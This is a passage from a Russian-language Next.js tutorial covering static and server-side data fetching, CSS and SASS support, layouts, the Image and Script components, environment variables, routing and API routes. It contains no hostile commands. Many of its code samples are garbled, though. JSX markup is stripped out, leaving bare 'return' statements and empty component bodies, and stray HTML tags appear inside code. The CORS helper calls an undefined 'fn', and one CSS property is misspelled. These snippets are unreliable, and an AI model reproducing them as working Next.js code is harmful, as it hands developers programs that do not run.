+ пути из `getStaticPaths` будут сгенерированы во время сборки с помощью `getStaticProps`
+ отсутствующий путь не будет разрешаться страницей `404`. Вместо этого в ответ на запрос будет возвращена резервная страница
+ в фоновом режиме выполняется генерация запрошенного `HTML` и `JSON`. Это включает в себя вызов `getStaticProps`
+ браузер получает `JSON` для сгенерированного пути. Этот `JSON` используется для автоматического рендеринга страницы с обязательными пропами. Со стороны пользователя это выглядит как переключение между резервной и полной страницами
+ новый путь добавляется в список предварительно отрендеренных страниц
*Обратите внимание*: `fallback: true` не поддерживается при использовании `next export`.
**Резервные страницы**
В резервной версии страницы:
* пропы страницы будут пустыми
* определить, что рендерится резервная страница, можно с помощью роутера: `router.isFallback` будет иметь значение `true`
```
// pages/posts/[id].js
import { useRouter } from 'next/router'
function Post({ post }) {
const router = useRouter()
// Если страница еще не сгенерирована, будет отображаться это
// До тех пор, пока `getStaticProps` не закончит свою работу
if (router.isFallback) {
return Загрузка...
}
// рендеринг поста
}
export async function getStaticPaths() {
return {
paths: [
{ params: { id: '1' } },
{ params: { id: '2' } }
],
fallback: true
}
}
export async function getStaticProps({ params }) {
const res = await fetch(`/posts/${params.id}`)
const post = await res.json()
return {
props: {
post
},
revalidate: 1
}
}
export default Post
```
*В каких случаях может быть полезен `fallback: true`?*
`fallback: true` может быть полезен при очень большом количестве статических страниц, которые зависят от данных (например, очень большой интернет-магазин). Мы хотим предварительно рендерить все страницы, но понимаем, что сборка будет длиться целую вечность.
Вместо этого мы генерируем небольшой набор статических страниц и используем `fallback: true` для остальных. При запросе отсутствующей страницы пользователь какое-то время будет наблюдать индикатор загрузки (пока `getStaticProps` делает свое дело), затем увидит саму страницу. И после этого новая страница будет возвращаться в ответ на каждый запрос.
*Обратите внимание*: `fallback: true` не обновляет сгенерированные страницы. Для этого используется инкрементальная статическая регенерация.
Если `fallback` имеет значение `blocking`, отсутствующий путь также не будет разрешаться страницей `404`, но и перехода между резервной и нормальной страницами не будет. Вместо этого запрашиваемая страница будет сгенерирована на сервере и отправлена браузеру, а пользователь после некоторого ожидания сразу увидит готовую страницу
*Случаи использования `getStaticPaths`*
`getStaticPaths` используется для предварительного рендеринга страниц с динамической маршрутизацией.
*Использование с `TypeScript`*
```
import { GetStaticPaths } from 'next'
export const getStaticPaths: GetStaticPaths = async () => {}
```
*Технические подробности*
* `getStaticPaths` должна использоваться совместно с `getStaticProps`. Она не может использоваться вместе с `getServerSideProps`
* `getStaticPaths` запускается только на сервере во время сборки
* `getStaticPaths` может экспортироваться только в компоненте-странице
* в режиме для разработки `getStaticPaths` запускается при каждом запросе
**`getServerSideProps`**
Страница, из которой экспортируется асинхронная функция `getServerSideProps`, будет рендерится при каждом запросе с помощью возвращаемых этой функцией пропов.
```
export async function getServerSideProps(context) {
return {
props: {}
}
}
```
`context` — это объект со следующими свойствами:
* `params`: см. `getStaticProps`
* `req`: объект `HTTP IncomingMessage` (входящее сообщение, запрос)
* `res`: объект HTTP-ответа
* `query`: объектное представление строки запроса
* `preview`: см. `getStaticProps`
* `previewData`: см. `getStaticProps`
* `resolveUrl`: нормализованная версия запрашиваемого `URL`, из которой удален префикс `_next/data` и включены значения оригинальной строки запроса
* `locale`: см. `getStaticProps`
* `locales`: см. `getStaticProps`
* `defaultLocale`: см. `getStaticProps`
`getServerSideProps` должна возвращать объект с такими полями:
* `props` — см. `getStaticProps`
* `notFound` — см. `getStaticProps`
```
export async function getServerSideProps(context) {
const res = await fetch('/data')
const data = await res.json()
if (!data) {
return {
notFound: true
}
}
return {
props: {}
}
}
```
* `redirect` — см. `getStaticProps`
```
export async function getServerSideProps(context) {
const res = await fetch('/data')
const data = await res.json()
if (!data) {
return {
redirect: {
destination: '/',
permanent: false
}
}
}
return {
props: {}
}
}
```
Для `getServerSideProps` характерны те же особенности и ограничения, что и для `getStaticProps`.
*Случаи использования `getServerSideProps`*
`getServerSideProps` следует использовать только при необходимости предварительного рендеринга страницы на основе данных, зависящих от запроса.
*Использование с `TypeScript`*
```
import { GetServerSideProps } from 'next'
export const getServerSideProps: GetServerSideProps = async () => {}
```
Для получения предполагаемых типов для пропов следует использовать `InferGetServerSidePropsType`:
```
import { InferGetServerSidePropsType } from 'next'
type Data = {}
export async function getServerSideProps() {
const res = await fetch('/data')
const data = await res.json()
return {
props: {
data
}
}
}
function Page({ data }: InferGetServerSidePropsType) {
// ...
}
export default Page
```
*Технические подробности*
* `getServerSideProps` запускается только на сервере
* `getServerSideProps` может экспортироваться только в компоненте-странице
**Получение данных на стороне клиента**
Если на странице имеются часто обновляемые данные, но страница не нуждается в предварительном рендеринге (по соображениям, связанным с `SEO`), тогда можно запрашивать такие данные на стороне клиента.
Команда `Next.js` рекомендует использовать для этого разработанный ими хук [`useSWR`](https://swr.vercel.app/ru), который предоставляет такие возможности, как кеширование данных, инвалидация кеша, отслеживание фокуса, периодическое выполнение повторных запросов и т.д.
```
import useSWR from 'swr'
const fetcher = (url) => fetch(url).then((res) => res.json())
function Profile() {
const { data, error } = useSWR('/api/user', fetcher)
if (error) return При загрузке данных возникла ошибка
if (!data) return Загрузка...
return Привет, {data.name}!
}
```
### Встроенная поддержка `CSS`
**Импорт глобальных стилей**
Для добавления глобальных стилей соответствующую таблицу следует импортировать в файл `pages/_app.js` (*обратите внимание* на нижнее подчеркивание):
```
// pages/_app.js
import './style.css'
// Данный экспорт по умолчанию является обязательным
export default function App({ Component, pageProps }) {
return
}
```
Такие стили будут применяться ко всем страницам и компонентам в приложении. *Обратите внимание*: во избежание конфликтов глобальные стили могут импортироваться только в `pages/_app.js`.
При сборке приложения все стили объединяются в один минифицированный CSS-файл.
\_\_Импорт стилей из директории `node_modules`\_\_
Стили могут импортироваться из `node_modules`.
Пример импорта глобальных стилей:
```
// pages/_app.js
import 'bootstrap/dist/css/bootstrap.min.css'
export default function App({ Component, pageProps }) {
return
}
```
Пример импорта стилей для стороннего компонента:
```
// components/Dialog.js
import { useState } from 'react'
import { Dialog } from '@reach/dialog'
import VisuallyHidden from '@reach/visually-hidden'
import '@reach/dialog/styles.css'
export function MyDialog(props) {
const [show, setShow] = useState(false)
const open = () => setShow(true)
const close = () => setShow(false)
return (
Открыть
Закрыть
X
Привет!
)
}
```
**Добавление стилей на уровне компонента**
`Next.js` из коробки поддерживает [CSS-модули](https://github.com/css-modules/css-modules). CSS-модули должны иметь название `[name].module.css`. Они создают локальную область видимости для соответствующих стилей, что позволяет использовать одинаковые названия классов без риска возникновения коллизий. CSS-модуль импортируется как объект (обычно, именуемый `styles`), ключами которого являются названия соответствующих классов.
Пример использования CSS-модулей:
```
/* components/Button/Button.module.css */
.danger {
background-color: red;
color: white;
}
```
```
// components/Button/Button.js
import styles from './Button.module.css'
export const Button = () => (
Удалить
)
```
При сборке CSS-модули конкатенируются и разделяются на отдельные минифицированные CSS-файлы, что позволяет загружать только необходимые стили.
**Поддержка `SASS`**
`Next.js` поддерживает файлы с расширением `.scss` и `.sass`. `SASS` также может использоваться на уровне компонентов (`.module.scss` и `.module.sass`). Для компиляции `SASS` в `CSS` необходимо установить [`sass`](https://github.com/sass/sass):
```
yarn add sass
```
Поведение компилятора `SASS` может быть кастомизировано в файле `next.config.js`, например:
```
const path = require('path')
module.exports = {
sassOptions: {
includePaths: [path.join(__dirname, 'styles')]
}
}
```
**CSS-в-JS**
В `Next.js` можно использовать любое решение `CSS-в-JS`. Простейшим примером является использование встроенных стилей:
```
export const Hi = ({ name }) => Привет, {name}!
```
`Next.js` также имеет встроенную поддержку [`styled-jsx`](https://github.com/vercel/styled-jsx):
```
export const Bye = ({ name }) => (
Пока, {name}. Скоро увидимся!
{`
div {
background-color: #3c3c3c;
}
p {
color: #f0f0f0;
}
@media (max-width: 768px) {
div {
backround-color: #f0f0f0;
}
p {
color: #3c3c3c;
}
}
`}
{`
body {
margin: 0;
min-height: 100vh;
display: grid;
place-items: center;
}
`}
)
```
### Макеты (Layouts)
Разработка `React-приложения` предполагает разделение страницы на отдельные компоненты. Многие компоненты используются на нескольких страницах. Предположим, что на каждой странице используется панель навигации и подвал:
```
// components/layout.js
import Navbar from './navbar'
import Footer from './footer'
export default function Layout({ children }) {
return (
<>
{children}
)
}
```
**Примеры**
*Единственный макет*
Если в приложении используется только один макет, мы можем создать кастомное приложение (custom app) и обернуть приложение в макет. Поскольку компонент-макет будет переиспользоваться при изменении страниц, его состояние (например, значения инпутов) будет сохраняться:
```
// pages/_app.js
import Layout from '../components/layout'
export default function App({ Component, pageProps }) {
return (
)
}
```
*Макеты на уровне страниц*
Свойство `getLayout` страницы позволяет возвращать компонент для макета. Это позволяет определять макеты на уровне страниц. Возвращаемая функция позволяет конструировать вложенные макеты:
```
// pages/index.js
import Layout from '../components/layout'
import Nested from '../components/nested'
export default function Page() {
return {
// ...
}
}
Page.getLayout = (page) => (
{page}
)
// pages/_app.js
export default function App({ Component, pageProps }) {
// использовать макет, определенный на уровне страницы, при наличии такового
const getLayout = Component.getLayout || ((page) => page)
return getLayout()
}
```
При переключении страниц состояние каждой из них (значения инпутов, позиция прокрутки и т.п.) будет сохраняться.
*Использование с `TypeScript`*
При использовании `TypeScript` сначала создается новый тип для страницы, включающей `getLayout`. Затем следует создать новый тип для `AppProps`, который перезаписывает свойство `Component` для обеспечения возможности использования созданного ранее типа:
```
// pages/index.tsx
import type { ReactElement } from 'react'
import Layout from '../components/layout'
import Nested from '../components/nested'
export default function Page() {
return {
// ...
}
}
Page.getLayout = (page: ReactElement) => (
{page}
)
// pages/_app.tsx
import type { ReactElement, ReactNode } from 'react'
import type { NextPage } from 'next'
import type { AppProps } from 'next/app'
type NextPageWithLayout = NextPage & {
getLayout?: (page: ReactElement) => ReactNode
}
type AppPropsWithLayout = AppProps & {
Component: NextPageWithLayout
}
export default function App({ Component, pageProps }: AppPropsWithLayout) {
const getLayout = Component.getLayout ?? ((page) => page)
return getLayout()
}
```
*Получение данных*
Данные в макете можно получать на стороне клиента с помощью `useEffect` или утилит вроде `SWR`. Поскольку макет — это не страница, в нем в настоящее время нельзя использовать `getStaticProps` или `getServerSideProps`:
```
import useSWR from 'swr'
import Navbar from './navbar'
import Footer from './footer'
export default function Layout({ children }) {
const { data, error } = useSWR('/data', fetcher)
if (error) return Ошибка
if (!data) return Загрузка...
return (
<>
{children}
)
}
```
### Компонент `Image` и оптимизация изображений
Компонент `Image`, импортируемый из `next/image`, является расширением HTML-тега `img`, предназначенным для современного веба. Он включает несколько встроенных оптимизаций, позволяющих добиться хороших показателей `Core Web Vitals`. Эти оптимизации включают в себя следующее:
* улучшение производительности
* обеспечение визуальной стабильности
* ускорение загрузки страницы
* обеспечение гибкости (масштабируемости) изображений
*Пример использования локального изображения*
```
import Image from 'next/image'
import imgSrc from '../public/some-image.png'
export default function Home() {
return (
<>
Главная страница
================
)
}
```
*Пример использования удаленного изображения*
*Обратите внимание* на необходимость установки ширины и высоты изображения:
```
import Image from 'next/image'
export default function Home() {
return (
<>
Главная страница
================
)
}
```
*Определение размеров изображения*
`Image` ожидает получение ширины и высоты изображения:
* в случае статического импорта (локальное изображение) ширина и высота вычисляются автоматически
* ширина и высота могут указываться с помощью соответствующих пропов
* если размеры изображения неизвестны, можно использовать проп `layout` со значением `fill`
Существует 3 способа решения проблемы неизвестных размеров изображения:
* использование режима макетирования `fill`: этот режим позволяет управлять размерами изображения с помощью родительского элемента. В этом случае размеры родительского элемента определяются с помощью `CSS`, а размеры изображения с помощью свойств `object-fit` и `object-position`
* нормализация изображений: если источник изображений находится под нашим контролем, мы можем добавить изменение размеров изображения при его возвращении в ответ на запрос
* модификация вызовов к `API`: в ответ на запрос может включаться не только само изображение, но и его размеры
*Правила стилизации изображений*
* выбирайте правильный режим макетирования
* используйте `className` — он устанавливается соответствующему элементу `img`. *Обратите внимание*: проп `style` не передается
* при использовании `layout="fill"` родительский элемент должен иметь `position: relative`
* при использовании `layout="responsive"` родительский элемент должен иметь `display: block`
Подробнее о компоненте `Image` см. ниже.
### Оптимизация шрифтов
`Next.js` автоматически встраивает шрифты в `CSS` во время сборки:
```
// было
// стало
@font-face{font-family:'Inter';font-style:normal...}
```
Для добавления на страницу шрифта используется компонент `Head`, импортируемый из `next/head`:
```
// pages/index.js
import Head from 'next/head'
export default function IndexPage() {
return (
Привет, народ!
)
}
```
Для добавления шрифта в приложение следует создать кастомный документ:
```
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document'
class MyDoc extends Document {
render() {
return (
)
}
}
```
Автоматическую оптимизацию шрифтов можно отключить:
```
// next.config.js
module.exports = {
optimizeFonts: false
}
```
Подробнее о компоненте `Head` см. ниже.
### Компонент `Script`
Компонент `Script` позволяет разработчикам определять приоритет загрузки сторонних скриптов, что экономит время и улучшает производительность.
Приоритет загрузки скрипта определяется с помощью пропа `strategy`, который принимает одно из следующих значений:
* `beforeInteractive`: предназначено для важных скриптов, которые должны быть загружены и выполнены до того, как страница станет интерактивной. К таким скриптам относятся, например, обнаружение ботов и запрос разрешений. Такие скрипты внедряются в первоначальный `HTML` и запускаются перед остальным `JS`
* `afterInteractive`: для скриптов, которые могут загружаться и выполняться после того, как страница стала интерактивной. К таким скриптам относятся, например, менеджеры тегов и аналитика. Такие скрипты выполняются на стороне клиента и запускаются после гидратации
* `lazyOnload`: для скриптов, которые могут быть загружены в период простоя. К таким скриптам относятся, например, поддержка чатов и виджеты социальных сетей
*Обратите внимание*:
* `Script` поддерживает встроенные скрипты со стратегиями `afterInteractive` и `lazyOnload`
* встроенные скрипты, обернутые в `Script`, должны иметь атрибут `id` для их отслеживания и оптимизации
**Примеры**
*Обратите внимание*: компонент `Script` не должен помещаться внутрь компонента `Head` или кастомного документа.
*Загрузка полифилов*
```
import Script from 'next/script'
export default function Home() {
return (
<>
)
}
```
*Отложенная загрузка*
```
import Script from 'next/script'
export default function Home() {
return (
<>
)
}
```
*Выполнение кода после полной загрузки страницы*
```
import { useState } from 'react'
import Script from 'next/script'
export default function Home() {
const [stripe, setStripe] = useState(null)
return (
<>
{
setStripe({ stripe: window.Stripe('pk\_test\_12345') })
}}
/>
</>
)
}</code></pre><br/>
<p><em>Встроенные скрипты</em></p><br/>
<pre><code class="javascript">import Script from 'next/script'
<Script id="show-banner" strategy="lazyOnload">
{`document.getElementById('banner').classList.remove('hidden')`}
// или
```
*Передача атрибутов*
```
import Script from 'next/script'
export default function Home() {
return (
<>
)
}
```
### Обслуживание статических файлов
Статические ресурсы должны размещаться в директории `public`, находящейся в корневой директории проекта. Файлы, находящиеся в директории `public`, доступны по базовой ссылке `/`:
```
import Image from 'next/image'
export default function Avatar() {
return
}
```
Данная директория также отлично подходит для хранения таких файлов, как `robots.txt`, `favicon.png`, файлов, необходимых для верификации сайта Гуглом и другой статики (включая `.html`).
### Обновление в режиме реального времени
`Next.js` поддерживает обновление компонентов в режиме реального времени с сохранением локального состояния в большинстве случаев (это относится только к функциональным компонентам и хукам). Состояние компонента также сохраняется при возникновении ошибок (не связанных с рендерингом).
Для перезагрузки компонента достаточно в любом месте добавить `// @refresh reset`.
### `TypeScript`
`Next.js` поддерживает `TypeScript` из коробки:
```
yarn create next-app --typescript app-name
# или
yarn create next-app --ts app-name
```
Для `getStaticProps`, `getStaticPaths` и `getServerSideProps` существуют специальные типы `GetStaticProps`, `GetStaticPaths` и `GetServerSideProps`:
```
import { GetStaticProps, GetStaticPaths, GetServerSideProps } from 'next'
export const getStaticProps: GetStaticProps = async (context) => {
// ...
}
export const getStaticPaths: GetStaticPaths = async () => {
// ...
}
export const getServerSideProps: GetServerSideProps = async (context) => {
// ...
}
```
Пример использования встроенных типов для интерфейса маршрутизации (API Routes):
```
import type { NextApiRequest, NextApiResponse } from 'next'
export default (req: NextApiRequest, res: NextApiResponse) => {
res.status(200).json({ message: 'Привет!' })
}
```
Ничто не мешает нам типизировать данные, содержащиеся в ответе:
```
import type { NextApiRequest, NextApiResponse } from 'next'
type Data = {
name: string
}
export default (req: NextApiRequest, res: NextApiResponse) => {
res.status(200).json({ message: 'Пока!' })
}
```
Для кастомного приложения существует специальный тип `AppProps`:
```
// import App from 'next/app'
import type { AppProps /*, AppContext */ } from 'next/app'
function MyApp({ Component, pageProps }: AppProps) {
return
}
// Данный метод следует использовать только в случае, когда все страницы приложения
// должны предварительно рендериться на сервере
MyApp.getInitialProps = async (context: AppContext) => {
// вызывает функцию `getInitialProps`, определенную на странице
// и заполняет `appProps.pageProps`
const props = await App.getInitialProps(context)
return { ...props }
}
```
`Next.js` поддерживает настройки `paths` и `baseUrl`, определяемые в `tsconfig.json`.
### Переменные среды окружения
`Next.js` имеет встроенную поддержку переменных среды окружения, что позволяет делать следующее:
* использовать `.env.local` для загрузки переменных
* экстраполировать переменные в браузер с помощью префикса `NEXT_PUBLIC_`
Предположим, что у нас имеется такой файл `.env.local`:
```
DB_HOST=localhost
DB_USER=myuser
DB_PASS=mypassword
```
Это приведет к автоматической загрузке `process.env.DB_HOST`, `process.env.DB_USER` и `process.env.DB_PASS` в среду выполнения `Node.js`, позволяя использовать их в методах получения данных и интерфейсе маршрутизации:
```
// pages/index.js
export async function getStaticProps() {
const db = await myDB.connect({
host: process.env.DB_HOST,
username: process.env.DB_USER,
password: process.env.DB_PASS
})
// ...
}
```
`Next.js` позволяет использовать переменные внутри файлов `.env`:
```
HOSTNAME=localhost
PORT=8080
HOST=http://$HOSTNAME:$PORT
```
Для того, чтобы передать переменную среды окружения в браузер к ней нужно добавить префикс `NEXT_PUBLIC_`:
```
NEXT_PUBLIC_ANALYTICS_ID=abcdefghijk
```
```
// pages/index.js
import setupAnalyticsService from '../lib/my-analytics-service'
setupAnalyticsService(process.env.NEXT_PUBLIC_ANALYTICS_ID)
function HomePage() {
return Привет, народ!
==============
}
export default HomePage
```
В дополнение к `.env.local` можно создавать файлы `.env` (для обоих режимов), `.env.development` (для режима разработки) и `.env.production` (для производственного режима). *Обратите внимание*: `.env.local` всегда имеет приоритет над другими файлами, содержащими переменные среды окружения.
Маршрутизация
-------------
### Введение
Маршрутизация в `Next.js` основана на концепции страниц.
Файл, помещаемый в директорию `pages`, автоматически становится роутом.
Файлы `index.js` привязываются к корневой директории:
* `pages/index.js` -> `/`
* `pages/blog/index.js` -> `/blog`
Роутер поддерживает вложенные файлы:
* `pages/blog/first-post.js` -> `/blog/first-post`
* `pages/dashboard/settings/username.js` -> `/dashboard/settings/username`
Динамические сегменты маршрутов определяются с помощью квадратных скобок:
* `pages/blog/[slug].js` -> `/blog/:slug` (`blog/first-post`)
* `pages/[username]/settings.js` -> `/:username/settings` (`/johnsmith/settings`)
* `pages/post/[...all].js` -> `/post/*` (`/post/2021/id/title`)
**Связь между страницами**
Для маршрутизации на стороне клиента используется компонент `Link`:
```
import Link from 'next/link'
export default function Home() {
return (
* Главная
* О нас
* Пост номер раз
)
}
```
Здесь:
* `/` → `pages/index.js`
* `/about` → `pages/about.js`
* `/blog/first-post` → `pages/blog/[slug].js`
Для динамических сегментов можно использовать интерполяцию:
```
import Link from 'next/link'
export default function Post({ posts }) {
return (
{posts.map((post) => (
* {post.title}
))}
)
}
```
Или объект `URL`:
```
import Link from 'next/link'
export default function Post({ posts }) {
return (
{posts.map((post) => (
* {post.title}
))}
)
}
```
Здесь:
* `pathname` — это название страницы в директории `pages` (`/blog/[slug]` в данном случае)
* `query` — это объект с динамическим сегментом (`slug` в данном случае)
Для доступа к объекту `router` в компоненте можно использовать хук `useRouter` или утилиту `withRouter`. Рекомендуется использовать `useRouter`.
### Динамические роуты
Для создания динамического роута в путь страницы необходимо добавить `[param]`.
Рассмотрим страницу `pages/post/[pid].jd`:
```
import { useRouter } from 'next/router'
export default function Post() {
const router = useRouter()
const { pid } = router.query
return Пост: {pid}
}
```
Роуты `/post/1`, `/post/abc` и т.д. будут совпадать с `pages/post/[pid].js`. Совпавший параметр передается странице как параметр строки запроса, объединяясь с другими параметрами.
Например, для роута `/post/abc` объект `query` будет выглядеть так:
```
{ "pid": "abc" }
```
А для роута `/post/abc?foo=bar` так:
```
{ "pid": "abc", "foo": "bar" }
```
Параметры роута перезаписывают параметры строки запроса, поэтому объект `query` для роута `/post/abc?pid=123` будет выглядеть так:
```
{ "pid": "abc" }
```
Для роутов с несколькими динамическими сегментами `query` формируется точно также. Например, страница `pages/post/[pid]/[cid].js` будет совпадать с роутом `/post/123/456`, а `query` будет выглядеть так:
```
{ "pid": "123", "cid": "456" }
```
Навигация между динамическими роутами на стороне клиента обрабатывается с помощью `next/link`:
```
import Link from 'next/link'
export default function Home() {
return (
* Ведет на страницу `pages/post/[pid].js`
* Также ведет на страницу `pages/post/[pid].js`
* Ведет на страницу `pages/post/[pid]/[cid].js`
)
}
```
**Перехват всех путей**
Динамические роуты могут быть расширены для перехвата всех путей посредством добавления многоточия (`...`) в квадратные скобки. Например `pages/post/[...slug].js` будет совпадать с `/post/a`, `/post/a/b`, `/post/a/b/c` и т.д.
*Обратите внимание*: вместо `slug` можно использовать любое другое название, например, `[...param]`.
Совпавшие параметры передаются странице как параметры строки запроса (`slug` в данном случае) со значением в виде массива. Например, `query` для `/post/a` будет иметь такую форму:
```
{ "slug": ["a"] }
```
А для `/post/a/b` такую:
```
{ "slug": ["a", "b"] }
```
Роуты для перехвата всех путей могут быть опциональными — для этого параметр необходимо обернуть еще в одни квадратные скобки (`[[...slug]]`).
Например, `pages/post/[[...slug]].js` будет совпадать с `/post`, `/post/a`, `/post/a/b` и т.д.
Основное отличие между обычным и опциональным перехватчиками состоит в том, что с опциональным перехватчиком совпадает роут без параметров (`/post` в нашем случае).
Примеры объекта `query`:
```
{ } // GET `/post` (пустой объект)
{ "slug": ["a"] } // `GET /post/a` (массив с одним элементом)
{ "slug": ["a", "b"] } // `GET /post/a/b` (массив с несколькими элементами)
```
*Обратите внимание* на следующие особенности:
* статические роуты имеют приоритет над динамическими, а динамические — над перехватчиками, например:
+ `pages/post/create.js` — будет совпадать `/post/create`
+ `pages/post/[pid].js` — будут совпадать `/post/1`, `/post/abc` и т.д., но не с `/post/create`
+ `pages/post/[...slug].js` — будут совпадать с `/post/1/2`, `/post/a/b/c` и т.д., но не с `/post/create` и `/post/abc`
* страницы, обработанные с помощью автоматической статической оптимизации, будут гидратированы без параметров роутов, т.е. `query` будет пустым объектом (`{}`). После гидратации будет запущено обновление приложения для заполнения `query`
### Императивный подход к навигации на стороне клиента
В большинстве случаев для реализации навигации на стороне клиента достаточно компонента `Link` из `next/link`. Однако, для этого можно использовать и роутер из `next/router`:
```
import { useRouter } from 'next/router'
export default function ReadMore() {
const router = useRouter()
return (
router.push('/about')}>
Читать подробнее
)
}
```
### Поверхностная (тихая) маршрутизация (Shallow Routing)
Тихий роутинг позволяет менять `URL` без перезапуска методов для получения данных, включая функции `getServerSideProps` и `getStaticProps`.
Мы получаем обновленные `pathname` и `query` через объект `router` (получаемый с помощью `useRouter()` или `withRouter()`) без потери состояния компонента.
Для включения тихого роутинга используется настройка `{ shallow: true }`:
```
import { useEffect } from 'react'
import { useRouter } from 'next/router'
// текущий `URL` имеет значение `/`
export default function Page() {
const router = useRouter()
useEffect(() => {
// выполнить навигацию после первого рендеринга
router.push('?counter=1', undefined, { shallow: true })
}, [])
useEffect(() => {
// значение `counter` изменилось!
}, [router.query.counter])
}
```
При обновлении `URL` изменится только состояние роута.
*Обратите внимание*: тихий роутинг работает только в пределах одной страницы. Предположим, что у нас имеется страница `pages/about.js` и мы выполняем следующее:
```
router.push('?counter=1', '/about?counter=1', { shallow: true })
```
В этом случае текущая страница выгружается, загружается новая, методы для получения данных перезапускаются (несмотря на наличие `{ shallow: true }`).
Интерфейс маршрутизации (API Routes)
------------------------------------
### Введение
Любой файл, находящийся в директории `pages/api`, привязывается к `/api/*` и считается конечной точкой (endpoint) `API`, а не страницей. Код интерфейса маршрутизации остается на сервере и не влияет на размер клиентской сборки.
Следующий пример роута `pages/api/user.js` возвращает статус-код `200` и данные в формате `JSON`:
```
export default function handler(req, res) {
res.status(200).json({ name: 'Иван Петров' })
}
```
Функция `handler` принимает два параметра:
* `req` — экземпляр `http.IncomingMessage` + несколько встроенных посредников (см. ниже)
* `res` — экземпляр `http.ServerResponse` + несколько вспомогательных функций (см. ниже)
Для обработки различных методов можно использовать `req.method`:
```
export default function handler(req, res) {
if (req.method === 'POST') {
// работаем с POST-запросом
} else {
// работаем с другим запросом
}
}
```
**Случаи использования**
В новом проекте весь `API` может быть построен с помощью интерфейса маршрутизации. Существующий `API` не требуется обновлять. Другие случаи:
* маскировка `URL` внешнего сервиса
* использование переменных среды окружения, хранящихся на сервере, для безопасного доступа к внешним сервисам
**Особенности**
* интерфейс маршрутизации не определяет CORS-заголовки по умолчанию. Это делается с помощью посредников (см. ниже)
* интерфейс маршрутизации не может использоваться вместе с `next export`
Что касается динамических сегментов в роутах интерфейса маршрутизации, то они подчиняются тем же правилам, что и динамические части роутов страниц.
### Посредники (Middlewares)
Интерфейс маршрутизации включает следующих посредников, преобразующих входящий запрос (`req`):
* `req.cookies` — объект, содержащий куки, включенные в запрос (значением по умолчанию является `{}`)
* `req.query` — объект, содержащий строку запроса (значением по умолчанию является `{}`)
* `req.body` — объект, содержащий тело запроса, преобразованное на основе заголовка `Content-Type`, или `null`
**Кастомизация посредников**
Каждый роут может экспортировать объект `config` с настройками для посредников:
```
export const config = {
api: {
bodyParser: {
sizeLimit: '1mb'
}
}
}
```
* `bodyParser: false` — отключает разбор ответа (возвращается сырой поток данных — `Stream`)
* `bodyParser.sizeLimit` — максимальный размер тела запроса в любом формате, поддерживаемом [`bytes`](https://github.com/visionmedia/bytes.js)
* `externalResolver: true` — сообщает серверу, что данный роут обрабатывается внешним резолвером, таким как `express` или `connect`
**Добавление посредников**
Рассмотрим добавление промежуточного обработчика [`cors`](https://www.npmjs.com/package/cors).
Устанавливаем модуль:
```
yarn add cors
```
Добавляем `cors` в роут:
```
import Cors from 'cors'
// инициализируем посредника
const cors = Cors({
methods: ['GET', 'HEAD']
})
// вспомогательная функция для ожидания успешного разрешения посредника
// перед выполнением другого кода
// или для выбрасывания исключения при возникновении ошибки в посреднике
const runMiddleware = (req, res, next) =>
new Promise((resolve, reject) => {
fn(req, res, (result) =>
result instanceof Error ? reject(result) : resolve(result)
)
})
export default async function handler(req, res) {
// запускаем посредника
await runMiddleware(req, res, cors)
// остальная логика `API`
res.json({ message: 'Всем привет!' })
}
```
### Вспомогательные функции
Объект ответа (`res`) включает набор методов для улучшения опыта разработки и повышения скорости создания новых конечных точек.
Этот набор включает в себя следующее:
* `res.status(code)` — функция для установки статус-кода ответа
* `res.json(body)` — для отправки ответа в формате `JSON`, `body` — любой сериализуемый объект
* `res.send(body)` — для отправки ответа, `body` — `string`, `object` или `Buffer`
* `res.redirect([status,] path)` — для перенаправления на указанную страницу, `status` по умолчанию имеет значение `307` (временное перенаправление)
Подготовка к продакшну
----------------------
* используйте кеширование (см. ниже) везде, где это возможно
* убедитесь в том, что сервер и база данных находятся (развернуты) в одном регионе
* минимизируйте количество `JavaScript-кода`
* откладывайте загрузку "тяжелого" `JS` до момента его фактического использования
* убедитесь в правильной настройке логирования
* убедитесь в правильной обработке ошибок
* настройте страницы `500` (ошибка сервера) и `404` (страница отсутствует)
* убедитесь, что приложение отвечает лучшим критериям производительности
* запустите `Lighthouse` для проверки производительности, лучших практик, доступности и поисковой оптимизации. Используйте производственную сборку и режим "Инкогнито" в браузере, чтобы ничто постороннее не влияло на результаты
* убедитесь, что используемые в вашем приложении фичи поддерживаются современными браузерами
* для повышения производительности используйте следующее:
+ `next/image` и автоматическую оптимизацию изображений
+ автоматическую оптимизацию шрифтов
+ оптимизацию скриптов
### Кеширование
Кеширование уменьшает время ответа и количество запросов к внешним сервисам. `Next.js` автоматически добавляет заголовки кеширования к иммутабельным ресурсам, доставляемым из `_next/static`, включая `JS`, `CSS`, изображения и другие медиа.
```
Cache-Control: public, max-age=31536000, immutable
```
Для ревалидации кеша страницы, которая была предварительно отрендерена в статическую разметку, используется настройка `revalidate` в функции `getStaticProps`.
*Обратите внимание*: запуск приложения в режиме разработки с помощью `next dev` отключает кеширование.
```
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
```
Заголовки кеширования также можно использовать в `getServerSideProps` и интерфейсе маршрутизации для динамических ответов. Пример использования `stale-while-revalidate`:
```
// Значение считается свежим в течение 10 сек (s-maxage=10).
// Если запрос повторяется в течение 10 сек, предыдущее кешированное значение
// считается свежим. Если запрос повторяется в течение 59 сек,
// кешированное значение считается устаревшим, но все равно используется для рендеринга
// (stale-while-revalidate=59)
// После этого запрос выполняется в фоновом режиме и кеш заполняется свежими данными.
// После обновления на странице будут отображаться новое значение
export async function getServerSideProps({ req, res }) {
res.setHeader(
'Cache-Control',
'public, s-maxage=10, stale-while-revalidate=59'
)
return {
props: {}
}
}
```
### Уменьшение количества используемого `JavaScript`
Для определения того, что включается в каждый `JS-бандл` можно воспользоваться следующими инструментами:
* [`Import Cost`](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost) — расширение для `VSCode`, показывающее размер импортируемого пакета
* [`Package Phobia`](https://packagephobia.com/) — сервис для определения "стоимости" добавления в проект новой зависимости для разработки (dev dependency)
* [`Bundle Phobia`](https://bundlephobia.com/) — сервис для определения того, насколько добавление зависимости увеличит размер сборки
* [`Webpack Bundle Analyzer`](https://github.com/vercel/next.js/tree/canary/packages/next-bundle-analyzer) — `Webpack-плагин` для визуализации сборки в виде интерактивной, масштабируемой древовидной структуры
Каждый файл в директории `pages` выделяется в отдельную сборку в процессе выполнения команды `next build`. Для ленивой загрузки компонентов и библиотек можно использовать динамический импорт.
Аутентификация (Authentication)
-------------------------------
